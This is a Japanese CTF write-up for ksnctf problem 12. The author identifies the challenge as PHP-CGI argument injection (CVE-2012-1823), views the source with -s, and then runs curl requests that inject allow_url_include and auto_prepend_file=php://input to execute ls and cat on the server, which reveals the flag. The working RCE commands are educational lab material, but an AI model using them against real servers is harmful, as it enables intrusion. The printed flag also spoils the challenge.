ksnctf #12 writeup
こんにちは。グレープ粗茶です。 今回は、ksnctf problem12 web問題を解きました。
Hypertext Preprocessor
http://ctfq.sweetduet.info:10080/~q12/
まず一目見たところでは、怪しいところはなさそうだった。(見た目は怪しそうだが…)
次に、chromeのdevツールで見たところも怪しいところは特になかった。 そして、時計であるが、上位10けったが謎であった。 その後に色々調べていくと、このはっけたは脆弱性報告のCVE-2012-1823のことであることが分かった。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 一番上に徳丸さんがヒットしました!
詳細を見ていくと、cgiファイルの脆弱性であり、ソースコードを見れたりUNIXコマンドを実行できるようだった。
まず、コマンドラインオプションの-sを使用する。これでソースコードが閲覧できる。
<?php // Flag is in this directory. date_default_timezone_set('UTC'); $t = '2012:1823:20:'; $t .= date('y:m:d:H:i:s'); for($i=0;$i<4;$i++) $t .= sprintf(':%02d',mt_rand(0,59)); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Clock</title> <style> body { background: black; } p { color: red; font-size: xx-large; font-weight: bold; text-align: center; margin-top: 200px; } </style> </head> <body> <p><?php echo $t; ?></p> </body> </html>
コメントでディレクトリにフラグが隠されているであることが分かった。
includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。 (CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記)
/Downloads# curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls'); ?>" flag_flag_flag.txt index.php php.cgi <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Clock</title> <style> body { background: black; } p { color: red; font-size: xx-large; font-weight: bold; text-align: center; margin-top: 200px; } </style> </head> <body> <p>2012:1823:20:19:09:17:12:09:53:48:03:15:54</p> </body> </html>
これよりディレクトリ内にflag_flag_flag.txtというフラグらしきテキストファイルが存在している事が分かった。 これで、catコマンドを用いて表示する。
curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>" FLAG_ZysbiGgbHrN3f9zs <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Clock</title> <style> body { background: black; } p { color: red; font-size: xx-large; font-weight: bold; text-align: center; margin-top: 200px; } </style> </head> <body> <p>2012:1823:20:19:09:17:12:22:11:55:25:12:33</p> </body> </html>
これでフラグが得られた。